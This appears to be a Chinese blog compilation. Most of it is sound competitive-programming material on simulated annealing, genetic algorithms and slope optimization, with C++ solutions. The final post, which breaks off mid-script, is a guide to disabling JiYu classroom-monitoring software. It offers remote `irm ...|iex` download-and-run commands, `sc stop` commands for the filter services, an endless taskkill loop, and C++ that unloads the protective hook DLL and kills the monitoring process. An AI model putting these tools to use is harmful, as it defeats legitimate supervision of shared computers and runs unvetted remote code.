using namespace std;
8

9
typedef pair<double, double> PDD;
10

11
PDD a[N];
12
int n;
13
random_device rd;
14
double ans = 1e9;
15

16
double rand(double l, double r);
17
double dis(PDD i, PDD j);
18
int rand(int l, int r);
19

20
struct Individual {
21
    int x, y;
22
    double fit;
23

24
    Individual(int x, int y) : x(x), y(y) {
25
        fit = fitness();
26
    }
27

28
    [[nodiscard]] double fitness() const {
29
        double sum = 0;
30
        for (int i = 1; i <= n; i++) {
31
            sum += dis((PDD) {(double) x / 100, (double) y / 100}, a[i]);
32
        }
33
        return sum;
34
    }
35

36
    [[nodiscard]] Individual hybrid() const {
37
        int x1 = x, y1 = y;
38
        int t = rand(0, 3);
39
        for (int i = 1; i <= t; i++) {
40
            int pos = rand(0, 20);
41
            x1 ^= (1 << pos);
42
        }
43
        t = rand(0, 3);
44
        for (int i = 1; i <= t; i++) {
45
            int pos = rand(0, 20);
46
            y1 ^= (1 << pos);
47
        }
48
        return {x1, y1};
49
    }
50

51
    void mutate() {
52
        for (int i = 1; i <= 3; i++) x ^= (1 << rand(0, 20));
53
        for (int i = 1; i <= 3; i++) y ^= (1 << rand(0, 20));
54
    }
55

56
    bool operator<(const Individual &p) const {
57
        return fit < p.fit;
58
    }
59
};
60

61
double dis(PDD i, PDD j) {
62
    return sqrt((i.first - j.first) * (i.first - j.first) + (i.second - j.second) * (i.second - j.second));
63
}
64

65
double rand(double l, double r) {
66
    if (r < l) return 0;
67
    return (double) rd() / random_device::max() * (r - l) + l;
68
}
69

70
int rand(int l, int r) {
71
    if (r < l) return 0;
72
    return (int) (rd() % (r - l + 1)) + l;
73
}
74

75
void GA() {
76
    vector<Individual> initP;
77
    for (int i = 1; i <= MAX_POPULATION; i++) initP.emplace_back(rand(0, 1000000), rand(0, 1000000));
78
    for (int T = 10; T; T--) {
79
        vector<Individual> curP;
80
        sort(initP.begin(), initP.end());
81
        for (int i = 0; i <= MAX_ADAPTION; i++) curP.push_back(initP[i]);
82
        while (curP.size() < MAX_POPULATION) {
83
            Individual p = initP[rand(0, MAX_ACCEPTANCE)];
84
            Individual child = p.hybrid();
85
            if (rand(0.0, 1.0) <= 0.02) child.mutate();
86
            double x = child.fit, y = p.fit;
87
            double delta = x - y;
88
            if (delta < 0 || exp(-delta / T) / 2.0 > rand(0.0, 1.0)) curP.push_back(child);
89
        }
90
        initP = curP;
91
    }
92
    ans = initP[0].fitness();
93
}
94

95
int main() {
96
    ios::sync_with_stdio(false);
97
    cin.tie(nullptr);
98
    cout.tie(nullptr);
99

100
    int t;
101
    cin >> t;
102
    for (int i = 1; i <= t; i++) {
103
        ans = 1e9;
104
        cin >> n;
105
        for (int j = 1; j <= n; j++) cin >> a[j].first >> a[j].second;
106
        GA();
107
        cout << (int) round(ans) << endl;
108
        if (i ^ t) cout << endl;
109
    }
110
    return 0;
111
}

展开收起

P7812 [JRKSJ R2] - Dark Forest#

Note

题解同步于本站

题目地址：P7812

题目难度：省选/NOI-

题目类型：提交答案

本题为提交答案题。
给你一个长为的序列，定义的排列的权值为
你可以理解为这个排列是一个环，即。
请构造一个权值尽量大的的排列。
输入格式：
第一行一个整数。
第二行个整数表示序列。
输出格式：
一行个整数表示排列。
数据范围：
对于的数据，。
注意事项：
本题使用 Special Judge，每个测试点都有个参数。如果你的输出的权值，则该测试点您至少会获得分。
特别的，如果您的输出不是一个的排列，您会在该测试点获得分。
附件下载：

评分参数

输入数据

因为我选择本地测评再提交打表程序（太菜了不知道怎么提交答案），所以本地我会开 O3 优化、以及循环展开之类的编译预处理指令。

数据点还是好做的，直接模拟退火能过，没有时限的话把参数卡死一点是没问题的。

数据点很有意思，输入是一个单增排列，我们优先让大数乘大数，构造一个两边大中间小的特殊构造即可。

数据点就开始上强度了，模拟退火怎么卡精度都过不去，同机房的退火大佬好像跑了几天？总之对于这种毒瘤测试点，我们上遗传算法。

实现整个种群太过麻烦，因此就只选择一个个体来进行自我繁衍。过程中需要记录全局最优、当前最优，然后随机一个排列，交换部分元素并更新答案即可。有人会说我还是过不了，跑得太慢了。那是因为做了很多无用的交换，我们枚举交换的位置，然后依次检查对答案的贡献是否为正。只要当前序列还能继续创造更优解，那么让它进行下去，否则对序列进行一次大清洗，从头来过。

这里只放遗传算法的代码：

1
#include <bits/stdc++.h>
2
#define N 1010
3
#define PRINT_TABLE
4
#define LIMIT 141473199965824ll // 每个测试点的最大值
5

6
#pragma optimize(3)
7

8
using namespace std;
9

10
typedef long long ll;
11

12
int n;
13
ll ans = 0, submax = 0;
14
random_device rd;
15
ll a[N], p[N], q[N], id[N];
16

17
ll calc(const ll arr[] = p) {
18
    ll sum = arr[1] * a[arr[n]] * a[arr[1]] * a[arr[2]];
19
    for (int i = 2; i < n; i++) sum += arr[i] * a[arr[i - 1]] * a[arr[i]] * a[arr[i + 1]];
20
    sum += arr[n] * a[arr[n - 1]] * a[arr[n]] * a[arr[1]];
21
    return sum;
22
}
23

24
ll d(int pos1, int pos2) {
25
    ll sum = 0;
26
    sum -= p[pos1] * a[p[pos1 - 1]] * a[p[pos1]] * a[p[pos1 + 1]] + p[pos1 + 1] * a[p[pos1]] * a[p[pos1 + 1]] * a[p[pos1 + 2]] + p[pos1 - 1] * a[p[pos1 - 2]] * a[p[pos1 - 1]] * a[p[pos1]];
27
    sum -= p[pos2] * a[p[pos2 - 1]] * a[p[pos2]] * a[p[pos2 + 1]] + p[pos2 + 1] * a[p[pos2]] * a[p[pos2 + 1]] * a[p[pos2 + 2]] + p[pos2 - 1] * a[p[pos2 - 2]] * a[p[pos2 - 1]] * a[p[pos2]];
28
    swap(p[pos1], p[pos2]);
29
    sum += p[pos1] * a[p[pos1 - 1]] * a[p[pos1]] * a[p[pos1 + 1]] + p[pos1 + 1] * a[p[pos1]] * a[p[pos1 + 1]] * a[p[pos1 + 2]] + p[pos1 - 1] * a[p[pos1 - 2]] * a[p[pos1 - 1]] * a[p[pos1]];
30
    sum += p[pos2] * a[p[pos2 - 1]] * a[p[pos2]] * a[p[pos2 + 1]] + p[pos2 + 1] * a[p[pos2]] * a[p[pos2 + 1]] * a[p[pos2 + 2]] + p[pos2 - 1] * a[p[pos2 - 2]] * a[p[pos2 - 1]] * a[p[pos2]];
31
    return sum;
32
}
33

34
int rand(int l, int r) {
35
    return (int) (rd() % (r - l + 1)) + l;
36
}
37

38
void GA() {
39
    while (ans < LIMIT) {
40
        for (int i = 1; i <= 20; i++) {
41
            int a = rand(1, n), b = rand(1, n);
42
            swap(p[a], p[b]);
43
        }
44
        submax = calc(); // 当前值
45
        shuffle(id + 1, id + 1 + n, mt19937(rd())); // 每次打乱枚举顺序
46
        clog << "Reset..." << endl;
47
        bool flag;
48
        do { // 还能变得更优就继续下去
49
            flag = false;
50
            for (int i = 1; i < n; i++) {
51
                for (int j = i + 1; j <= n; j++) {
52
                    ll cur;
53
                    int pos1 = id[i], pos2 = id[j];
54
                    if (abs(pos2 - pos1) <= 5 || abs(pos2 - pos1) >= n - 5) {
55
                        swap(p[pos1], p[pos2]);
56
                        cur = calc();
57
                    } else {
58
                        cur = submax + d(pos1, pos2);
59
                    }
60
                    if (cur > ans) {
61
                        ans = submax = cur;
62
                        memcpy(q, p, sizeof p);
63
                        if (ans > (ll) (LIMIT * 0.999)) cerr << ans << endl;
64
                        flag = true;
65
                        if (ans >= LIMIT) return;
66
                    } else if (cur > submax) {
67
                        submax = cur;
68
                        flag = true;
69
                    } else swap(p[pos1], p[pos2]);
70
                }
71
            }
72
        } while (flag);
73
    }
74
}
75

76
int main() {
77
    ios::sync_with_stdio(false);
78
    cin.tie(nullptr);
79
    cout.tie(nullptr);
80

81
    // Test Point #4 #5 #6 #7 #8 #9
82
    freopen("9.in", "r", stdin);
83
    freopen("9.out", "w", stdout);
84
    cin >> n;
85
    for (int i = 1; i <= n; i++) cin >> a[i];
86
    for (int i = 1; i <= n; i++) p[i] = i, id[i] = i;
87
    GA();
88
    clog << "Final Answer: " << calc(q) << " Overloaded: " << calc(q) - LIMIT << endl;
89
#ifdef PRINT_TABLE
90
    cout << '{';
91
    for (int i = 1; i < n; i++) cout << q[i] << ", ";
92
    cout << q[n] << "}\n";
93
#else
94
    for (int i = 1; i <= n; i++) cout << q[i] << ' ';
95
#endif
96
    return 0;
97
}

展开收起

随机化高能骗分模拟退火

Mon, 26 Aug 2024 01:14:53 GMT

退火与模拟退火#

退火，是一种物理过程。指通过将固体加热到一定温度，并让温度缓慢降低，从而让高能的粒子能够在每个温度均达到平衡态，最终让整个固体变为内能最小的状态的过程。通常用这个方法来使固体硬度变得更高。

而模拟退火则是使用计算机语言模拟物理学中退火的过程，达到求多峰函数最优解近似值的功能。它通过设定一个模拟初始温度、以及一个终止温度（可以理解为精度）和一个衰减率，每次随机选取一个函数值，并随机邻域上的某个值，比较两值并优化答案，最终实现求近似解的功能。

一般来说，温度的衰减需要符合准则，即当前温度为，粒子内能的变化量为时，该粒子趋于平衡的概率为，其中为常数。也就是说我们先机选一个值，再随机出另外的值，比较差异，更优则直接进入第二个值；否则我们有概率选择这个更劣的解，概率是，同时再迭代下一个温度。

世界上有很多无法在多项式时间内解决的问题（问题），例如求解费马点的坐标、旅行商问题等；有些问题的复杂度是指数级别的，求解精确值的时间极长；又或者你在训练一个模型……此时人们希望找到一种方法，使得能够在较短的时间内解出答案的近似值。然后，模拟退火、爬山算法、遗传算法等就进入了人们的视野。

下图展示了模拟退火找到全局最优解的过程：

Simulate Anneal

模拟退火核心函数如下：

1
void SA() {
2
    double T = 1e4; // 初始温度
3
    while (T > 1e-4) {
4
        double d = calc(now) - calc(cur); // 计算差距
5
        if (exp(-d / T) > rand(0, 1)) cur = now; // Metropolis 准则
6
        T *= 0.99; // 按既定比率降温
7
    }
8
}

更好的随机化选择#

在平衡树的“如何生成更好的随机数”一节中，我们介绍了常用的三种随机数生成器 rand、random_device 和 mt_19937。接下来介绍一种听起来就非常牛逼的随机分布生成器 uniform_real_distribution。

整/实数均匀分布类#

整数和浮点数版本分别对应 std::uniform_int_distribution 和 std::uniform_real_distribution。定义和普通的 STL 容器类似，需要指定存储类型，支持上下界约束。它在生成随机数时需要一个随机数生成引擎 std::default_random_engine 作为参数传入，理解为设置种子即可。

1
default_random_engine random(time(nullptr));
2
uniform_int_distribution<int> dis1(0, 100);
3
uniform_real_distribution<double> dis2(0.0, 1.0);
4

5
for(int i = 0; i < 10; ++i) cout << dis1(random) << ' ';
6
cout << endl;
7

8
for(int i = 0; i < 10; ++i) cout << dis2(random) << ' ';
9
cout << endl;

输出：

1
70 5 91 57 87 15 52 72 62 96
2
0.806944 0.389546 0.951 475 0.530597 0.125625 0.622024 0.109438 0.735015 0.717254 0.954637

生成带上下界的随机数#

一般来说，对于范围内的随机数生成，我们只需要把结果对取模即可，但是这样并不明智且泛用性低，如果带上下界，那么这个方法将不再适用。

如果要生成内的任意实数，一个现成的公式是：

首先我们的将答案约束到了内，然后乘区间大小，得到一个间的实数，最后加上下界，结果就位于内了。

常见随机数生成模板#

1
// 一般的随机数
2
srand(time(nullptr));
3
int x1 = rand();
4

5
// random device
6
random_device rd;
7
unsigned x2 = rd();
8

9
// mt19937
10
mt19937 mt(time(nullptr));
11
unsigned x3 = mt();
12

13
// 均匀分布
14
default_random_engine seed(time(nullptr));
15
uniform_real_distribution<double> urd(L, R);
16
uniform_int_distribution<int> uid(L, R);
17
double x4 = urd(seed);
18
int x5 = uid(seed);

展开收起

典例解析#

POJ 3420/AcWing 3167/UVA 星星还是树#

题目地址：AcWing 3167

题目难度：中等

在二维平面上有个点，第个点的坐标为。
请你找出一个点，使得该点到这个点的距离之和最小。
该点可以选择在平面中的任意位置，甚至与这个点的位置重合。
输入格式：
第一行包含一个整数。
接下来行，每行包含两个整数，表示其中一个点的位置坐标。
输出格式：
输出最小距离和，答案四舍五入取整。
数据范围：

这是一道求解二维平面费马点的问题，可以使用模拟退火求解。首先拟定一个平面上的随机点，然后在它的周围区域随机一个新点，若更优则直接跳转到新点，否则则有一定几率跳到新点，整个过程遵循准则。

1
#include <bits/stdc++.h>
2
#define N 200
3
using namespace std;
4

5
typedef pair<double, double> PDD;
6

7
PDD p[N];
8
int n;
9
double ans = 0x3f3f3f3f;
10

11
double dis(PDD i, PDD j) {
12
    return sqrt((i.first - j.first) * (i.first - j.first) + (i.second - j.second) * (i.second - j.second));
13
}
14

15
double rand(double x, double y) {
16
    return (double) rand() / RAND_MAX * (y - x) + x;
17
}
18

19
double calc(PDD x) {
20
    double sum = 0;
21
    for (int i = 1; i <= n; i++) sum += dis(p[i], x);
22
    ans = min(ans, sum);
23
    return sum;
24
}
25

26
void SA() {
27
    double T = 1e4;
28
    PDD cur = (PDD) {rand(0, 1e4), rand(0, 1e4)};
29
    while (T > 1e-4) {
30
        PDD now = (PDD) {rand(cur.first - T, cur.first + T), rand(cur.second - T, cur.second + T)};
31
        double d = calc(now) - calc(cur);
32
        if (exp(-d / T) > rand(0, 1)) cur = now;
33
        T *= 0.99;
34
    }
35
}
36

37
int main() {
38
    ios::sync_with_stdio(false);
39
    cin.tie(nullptr);
40
    cout.tie(nullptr);
41

42
    srand(time(nullptr));
43
    cin >> n;
44
    for (int i = 1; i<= n; i++) cin >> p[i].first >> p[i].second;
45
    double st = clock();
46
    while (clock() - st <= 985) SA();
47
    cout << (int) round(ans) << endl;
48
    return 0;
49
}

展开收起

洛谷 P4044 [AHOI2014/JSOI2014] 保龄球#

题目地址：P4044

题目难度：省选/NOI-

题目来源：安徽江苏 2014

JYY 很喜欢打保龄球，虽然技术不高，但是还是总想着的高分。这里 JYY 将向你介绍他所参加的特殊保龄球比赛的规则，然后请你帮他得到尽量多的分数。
一场保龄球比赛一共有个轮次，每一轮都会有十个木瓶放置在木板道的另一端。每一轮中，选手都有两次投球的机会来尝试击倒全部的十个木瓶。对于每一次投球机会，选手投球的得分等于这一次投球所击倒的木瓶数量。选手每一轮的得分是他两次机会击倒全部木瓶的数量。
对于每一个轮次，有如下三种情况：
1、 “全中”：如果选手第一次尝试就击倒了全部十个木瓶，那么这一轮就为“全中”。在一个“全中”轮中，由于所有木瓶在第一次尝试中都已经被击倒，所以选手不需要再进行第二次投球尝试。同时，在计算总分时，选手在下一轮的得分将会被乘2计入总分。
2、“补中”：如果选手使用两次尝试击倒了十个木瓶，那么这一轮就称为“补中”。同时，在计算总分时，选手在下一轮中的第一次尝试的得分将会以双倍计入总分。
3、“失误”：如果选手未能通过两次尝试击倒全部的木瓶，那么这一轮就被称为“失误”。同时，在计算总分时，选手在下一轮的得分会被计入总分，没有分数被翻倍。此外，如果第轮是“全中”，那么选手可以进行一次附加轮：也就是，如果第轮是“全中”，那么选手将一共进行轮比赛。显然，在这种情况下，第轮的分数一定会被加倍。
附加轮的规则只执行一次。也就是说，即使第轮选手又打出了“全中”，也不会进行第轮比赛。因而，附加轮的成绩不会使得其他轮的分数翻番。最后，选手的总得分就是附加轮规则执行过，并且分数按上述规则加倍后的每一轮分数之和。
JYY 刚刚进行了一场个轮次的保龄球比赛，但是，JYY非常不满意他的得分。JYY想出了一个办法：他可以把记分表上，他所打出的所有轮次的顺序重新排列，这样重新排列之后，由于翻倍规则的存在，JYY就可以得到更高的分数了！
当然了，JYY不希望做的太假，他希望保证重新排列之后，所需要进行的轮数和重排前所进行的轮数是一致的：比如如果重排前JYY在第轮打出了“全中”，那么重排之后，第轮还得是“全中”以保证比赛一共进行轮；同样的，如果 JYY 第轮没有打出“全中”，那么重排过后第轮也不能是全中。请你帮助 JYY 计算一下，他可以得到的最高的分数。
输入格式：
第一行包含一个整数，表示保龄球比赛所需要进行的轮数。
接下来包含或行，第i行包含两个非负整数，表示 JYY 在这一轮两次投球尝试所得到的分数，表示第一次尝试，表示第二次尝试。
特别地，10 0 表示一轮“全中”。
读入数据存在行，当且仅当且。
输出格式：
输出一行一个整数，表示 JYY 最大可能得到的分数。
数据范围：
对于的数据，。

首先考虑随机一个排列并计算出当前排列的得分，在邻域上随机可以看作将该序列随机交换元素。有了这个思路，直接跑模拟退火即可。

1
#include <bits/stdc++.h>
2
#define N 55
3
using namespace std;
4

5
typedef pair<int, int> PII;
6

7
random_device rd;
8

9
PII p[N];
10
int n, m;
11
int ans;
12

13
int calc() {
14
    int sum = 0;
15
    for (int i = 1; i <= m; i++) {
16
        sum += (p[i].first + p[i].second);
17
        if (i <= n) {
18
            if (p[i].first == 10) sum += (p[i + 1].first + p[i + 1].second);
19
            else if (p[i].first + p[i].second == 10) sum += p[i + 1].first;
20
        }
21
    }
22
    ans = max(ans, sum);
23
    return sum;
24
}
25

26
void SA() {
27
    double T = 1e4;
28
    while (T > 1e-5) {
29
        int a = calc();
30
        unsigned x = rd() % m + 1, y = rd() % m + 1;
31
        swap(p[x], p[y]);
32
        if (n + (p[n].first == 10) == m) {
33
            int b = calc();
34
            if (exp((b - a) / T) < (double) rd() / random_device::max()) swap(p[x], p[y]);
35
        } else swap(p[x], p[y]);
36
        T *= 0.99;
37
    }
38
}
39

40
int main() {
41
    ios::sync_with_stdio(false);
42
    cin.tie(nullptr);
43
    cout.tie(nullptr);
44

45
    cin >> n;
46
    double st = clock();
47
    for (int i = 1; i <= n; i++) cin >> p[i].first >> p[i].second;
48
    if (p[n].first == 10) {
49
        m = n + 1;
50
        cin >> p[n + 1].first >> p[n + 1].second;
51
    } else m = n;
52
    while ((clock() - st) / CLOCKS_PER_SEC < 0.85) SA();
53
    cout << ans << endl;
54
    return 0;
55
}

展开收起

洛谷 P2503 [HAOI2006] 均分数据#

题目地址：P2503

题目难度：提高+/省选-

题目来源：河南 2006

已知个正整数。今要将它们分成组，使得各组数据的数值和最平均，即各组数字之和的均方差最小。均方差公式如下：
其中为均方差，为各组数据和的平均值，为第组数据的数值和。
输入格式：
第一行是两个整数，表示的值（是整数个数，是要分成的组数）
第二行有个整数，表示。整数的范围是。
（同一行的整数间用空格分开）
输出格式：
输出一行一个实数，表示最小均方差的值(保留小数点后两位数字)。
数据范围：
对于的数据，保证有，

这道题如果还像上一道题一样随机排列然后交换两数并枚举分组情况，显然是很低效的。考虑这样一个基于贪心的优化方法——让每组的平均数尽量相近。这样一来就可以避免无意义的枚举了，剩下的就和上一道题是一样的了。

1
#include <bits/stdc++.h>
2

3
#define N 25
4
#define M 10
5
using namespace std;
6

7
int seq[N], grp[M];
8
double ans = 1e9;
9
random_device rd;
10
int n, m;
11

12
double rand(double l, double r) {
13
    return (double) rd() / random_device::max() * (r - l) + l;
14
}
15

16
double calc() {
17
    memset(grp, 0, sizeof grp);
18

19
    double ret = 0;
20
    for (int i = 1; i <= n; i++) {
21
        int t = 1;
22
        for (int j = 1; j <= m; j++) {
23
            if (grp[j] < grp[t]) t = j;
24
        }
25
        grp[t] += seq[i];
26
    }
27
    double avr = 0;
28
    for (int i = 1; i <= m; i++) avr += (double) grp[i] / m;
29
    for (int i = 1; i <= m; i++) ret += (grp[i] - avr) * (grp[i] - avr);
30
    ret = sqrt(ret / m);
31
    ans = min(ans, ret);
32
    return ret;
33
}
34

35
void SA() {
36
    shuffle(seq + 1, seq + 1 + n, mt19937(rd()));
37
    double T = 1e6;
38
    while (T > 1e-6) {
39
        double a = calc();
40
        int x = (int) rand(1, n), y = (int) rand(1, n);
41
        swap(seq[x], seq[y]);
42
        double b = calc();
43
        if (exp((a - b) / T) < rand(0, 1)) swap(seq[x], seq[y]);
44
        T *= 0.99;
45
    }
46
}
47

48
int main() {
49
    ios::sync_with_stdio(false);
50
    cin.tie(nullptr);
51
    cout.tie(nullptr);
52

53
    cin >> n >> m;
54
    for (int i = 1; i <= n; i++) cin >> seq[i];
55
    double st = clock();
56
    while ((clock() - st) / CLOCKS_PER_SEC < 0.85) SA();
57
    cout << fixed << setprecision(2) << ans << endl;
58
    return 0;
59
}

展开收起

P3571 [POI2014] - Supercomputer 题解

Sun, 25 Aug 2024 11:23:31 GMT

Done

您已获得最佳的阅读体验！

集训时讲到了这个题，刚好写篇题解记录一下思路。

题目地址：P3571

题目难度：NOI/NOI+/CTSC

给定一棵个节点的有根树，根节点为。次询问，每次给定一个，用最少的操作次数遍历完整棵树，输出最少操作次数。每次操作可以选择访问不超过个未访问的点，且这些点的父亲必须在这次操作之前被访问过。
。

这道题其实有一个裸结论可以套：

对于一棵树，一定存在一个最优解，满足：恰好用步操作删除完树上深度小于等于的节点，此后一定可以通过每次删除个节点把整棵树的所有节点删除完毕。

形式化地，令为对于给定的所能达到的最小操作数，为深度大于的节点总数。那么有：

此时把它看作动态规划的转移方程，移项可以得到，注意到自变量和因变量具有单调性，可以进行斜率优化，能够把时间复杂度降到。

重点在于如何证明转移方程的正确性。要想证明一个相等关系，可以从以及两个方面分别入手证明，只要两个条件均满足，则代表成立。

首先来证：对于一个深度恰等于的节点，至少需要次操作，于是这是正确的。

再来证：假设上式在时取得最大值，并令，假设前步可删去前层所有点，且它是满足该性质的最大的数。我们需要做的就是证明。

同样的思路，先证。考虑反证法，对于，若时的大于时的。那么：

而不等号左侧用两个前缀和相减代表所有深度介于之间的点的总数，删完所有层的节点的操作步数应该大于，又因为删除一个第层的节点需要步，那么前层仅用步无法删除完毕。与假设中的意义矛盾，于是得证。

接下来证：树的第层一定有超过个节点，有；对于和两层，若这两层的节点总数不超过，那么层的节点数量一定小于，于是可以用次操作删完前层的点，与是满足条件的最大的数矛盾，故和两层节点总数一定大于 ……以此类推，层一共有超过个节点。此时一定有成立。

综上所述，。因为层节点数一定大于，于是每次做删除个点的操作，并且优先删有孩子节点的节点即可。至此，整个结论得到证明。

最后就是套斜率优化的模板了（有现成的公式还真是方便呢）：

1
#include <bits/stdc++.h>
2
#define N 1000010
3
using namespace std;
4

5
int dp[N];
6
int dep[N], s[N];
7
int query[N];
8
int q[N];
9
int hh = 0, tt = 0;
10

11
int main() {
12
    ios::sync_with_stdio(false);
13
    cin.tie(nullptr);
14
    cout.tie(nullptr);
15

16
    int n, m;
17
    int maxd = 0, maxq = 0;
18
    cin >> n >> m;
19
    for (int i = 1; i <= m; i++) {
20
        cin >> query[i];
21
        maxq = max(maxq, query[i]);
22
    }
23
    s[1] = dep[1] = 1;
24
    for (int i = 2; i <= n; i++) {
25
        int x;
26
        cin >> x;
27
        dep[i] = dep[x] + 1; // 其实建单向边用DFS处理节点深度也是可以的，只是这道题并没这个必要？
28
        s[dep[i]]++;
29
        maxd = max(maxd, dep[i]);
30
    }
31
    for (int i = maxd; i; i--) s[i] += s[i + 1]; // 处理 i 层及更深层的节点总数
32
    // 单调队列维护凸包
33
    for (int i = 1; i <= maxd; i++) {
34
        // 用交叉相乘法以免出题人卡精度
35
        while (hh < tt && (s[q[tt] + 1] - s[i + 1]) * (q[tt] - q[tt - 1]) < (s[q[tt] + 1] - s[q[tt - 1] + 1]) * (q[tt] - i)) tt--;
36
        q[++tt] = i;
37
    }
38
    for (int i = 1; i <= maxq; i++) {
39
        while (hh < tt && (s[q[hh] + 1] - s[q[hh + 1] + 1]) < -i * (q[hh] - q[hh + 1])) hh++;
40
        int j = q[hh];
41
        dp[i] = j + (s[j + 1] + i - 1) / i; // 套转移方程
42
    }
43
    for (int i = 1; i <= m; i++) cout << dp[query[i]] << ' ';
44
    cout << endl;
45
    return 0;
46
}

展开收起

领域展开坐杀极域

Sat, 24 Aug 2024 08:03:47 GMT

文章更新记录

2024-02-16 更换 PCSuspend 的下载链接
2024-03-06 更新 2.5 和 4.1.2 节相关内容
2024-03-20 更新 2.4.3 和 4.1.2 节相关内容
2024-03-27 更新 4.2.1 节，上传了新代码
2024-07-15 开放在线下载通道

在线下载通道#

现在您可以不必再去文章末尾复制粘贴代码来运行了，您可以在您的电脑上打开 powershell，然后输入以下代码：

Terminal window

1
irm("https://img.justpureh2o.cn/scripts/crack.ps1")|iex

来获取稳定版本的机房管理杀手整合包；输入以下代码：

Terminal window

1
irm("https://justpureh2o.cn/store/crack.ps1")|iex

来获取整合包的测试（Beta）版本，稳定性可能较低。

当前版本：

正式版 24.11.06
测试版 24.11.06

极域——世界上最弱小最单纯的机房软件#

注意，极域由C/C++语言开发。对于极域的反编译工作可以基本认定为徒劳且耗费大量时间的。

开始的开始，我的脱控方式还仅限于最原始的taskkill和ntsd。这种做法不仅有时会失效，而且一旦老师发现你的机子的监控屏幕是纯黑一片、且无法控制，他就会气急败坏地冲向你对你进行一顿输出，结果自然是被班主任教训一顿、这学期的信息课停上。

令人欣慰的是：这种低级脱控方式已经在学子之间渐渐隐没不见，取而代之的是层出不穷的脱控软件，例如JYTrainer、还有本人开发的ClassX（doge）等等……

因为本人不会那些所谓的网络IP、频道更改之类的高科技东西，另一方面实现如上的功能多半需要辅助程序（容易被反脱软件检测到进程名）。本着精简实现、不易查封的原则，我从非exe层面出发，编写了一套脱控程序供大家伙们免费使用，毕竟人生苦短，及时行乐嘛（doge）。

板块一 TD到底是啥的缩写？#

你知道明明U盘里装着几个G的学习资料却无法在计算机课上给周边的同学炫耀是怎么样一种感觉吗？你知道明明想要打开小破站观看最爱的coser投稿的新擦边视频却被提示“该网站已被禁止”是什么样的感觉吗？

出于以上两种痛苦的经历，我立志要写出能够禁止极域牛马功能的脚本。就先从U盘解禁和网络解禁两个方面入手！

Windows服务概述：打开任务管理器，选项卡里不仅有经典的“进程”选项、也有装机大佬们引以为傲的“性能”选项，可是我们今天的主角：“服务”选项却几乎无人问津。

类似于cmd的打开方式，服务管理器则需要在Win+R后输入services.msc来使用；你也可以通过任务管理器“服务”选项卡进入。那么什么是服务呢？

Windows服务是指系统自动完成的，不需要和用户交互的过程，可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动，可以暂停和重新启动而且不显示任何用户界面。一个词概括就是：“幕后黑手”。开头立的flag就需要通过这种方式巧妙解决。

定位到极域安装目录：会发现下面有好多TD打头的文件，而当你在服务里面搜索时，你会发现一个惊人的巧合：TDNetFilter和TDFileFilter早已在你的机器上悄然运行了很久。看到它的名字，容易知道前者禁掉了你的网络、后者ban掉了你的U盘。如何终止服务呢？这也非常的简单：

在Windows系统中，与服务有关的命令是sc。要想停止某个服务，只需安装如下模式输入指令：sc stop [NAME]（NAME是服务名称）。于是我在ClassX的开头加入了如下的指令：

1
sc stop tdnetfilter
2
sc stop tdfilefilter

这样就结束了吗？然而并没有……

板块二可疑的程序#

上一节里遗留了一个小问题：停止了服务后他就真的解禁了吗？事实并非如此：没过几秒，你的网络又会恢复到先前的状态、U盘再次被封杀。一切的一切都是因为两个不起眼的可疑程序……

ProcHelper64.exe和MasterHelper.exe——《我们俩》

有人问我当时是怎么发现的。首先需要知道，每个版本的Windows系统几乎都有一套特别的图标主题（图标存放在Shell32.dll中），现如今大部分机房电脑使用的是Win10系统，然而上述两个进程使用的是WinXP风格的图标，直接一眼丁真掏出taskkill秒了。真是实力坑队友。

因此ClassX里面还有这一段代码：

1
:a
2
taskkill /f /t /im ProcHelper64.exe
3
taskkill /f /t /im MasterHelper.exe
4

5
goto a

:a定义了一个函数a，中间是函数体，最后一行的goto a则是调用这个函数，注意goto a写在了a函数内部，起到了while (true) {...}的死循环作用。你也可以在空行出添加一段TIMEOUT /T 1，即延时一秒，因为这两个程序的复活时间大概在1秒左右（终止后一秒就会重启）。

板块三拒绝访问什么鬼？#

第一种情况：钩子程序#

如果你是Win7及以下的系统，且直接使用任务管理器结束进程，那么很有可能会出现像标题这样的提示。这是因为极域启动了一个系统钩子（四川人莫笑，Hook翻译过来的确是钩子的意思）。

Windows钩子概述：类似于游戏（以及Scratch）的消息机制，Windows中存在一种事件系统，Win+R弹出运行、输入eventvwr.exe/eventvwr.msc打开事件管理器，你会看到本机所有事件的发生时间及概况。把Windows系统的事件系统比作一条河流，最上游是系统，负责抛出事件，事件信息顺流而下；把应用程序比作渔夫，它们在河岸两侧用网捞特定类型的事件，大多数情况下自行处理后再放回到河中。

对于极域来说，它在一个名叫NtTerminateProcess的系统函数上下钩，检测这个函数的传入信息，即终止对象的进程名，是否是StudentMain.exe（极域主程序），若是，就返回false，也就是失败。因而导致开头所说拒绝访问的情况，而把钩子钩在此处的，就是我们的TD圈大佬LibTDProcHook.dll。因为本人使用Win10系统，这个钩子对于Win7以后的系统都会失效，因此Win8/10/11用户可以直接用任务管理器。对于Win7系统用户，在这里使用WinAPI终止这个TD模块。

1
#include <bits/stdc++.h>
2
#include <windows.h>
3
#include <tlhelp32.h>
4
#include <processthreadsapi.h>
5

6
using namespace std;
7

8
DWORD GetPID(const char* proc) {
9
  PROCESSENTRY32 entry;
10
  entry.dwSize = sizeof(PROCESSENTRY32);
11
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
12

13
  if (Process32First(snapshot, &entry) == TRUE) {
14
    while (Process32Next(snapshot, &entry) == TRUE) {
15
      if (stricmp(entry.szExeFile, proc) == 0) {
16
        HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);
17
        DWORD pid = GetProcessId(hProc);
18
        CloseHandle(hProc);
19
        return pid;
20
      }
21
    }
22
  }
23
}
24

25
int main() {
26
  HMODULE hook = GetModuleHandle("LibTDProcHook64.dll");
27
  FreeModule(hook);
28
  HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, GetPID("StudentMain.exe"));
29
  TerminateProcess(handle, 0);
30
  return 0;
31
}

展开收起

第二种情况：时代变了#

自从学校机房的极域从2014版更新到了2020版，上述朴素解决方案已经不见效了。我也不知道从哪一年的版本开始，它给自己的服务加了一层防护，普通地运行bat脚本还木有用。但是它解决起来也简单，右键文件“以管理员模式运行”即可。

除此之外，你还可以在脚本开头加入：

Terminal window

1
>nul 2>&1 "%SYSTEMROOT%\System32\cacls.exe" "%SYSTEMROOT%\System32\config\system"
2

3

4
if %errorlevel% == 0 (
5
    echo Admin Switched!
6
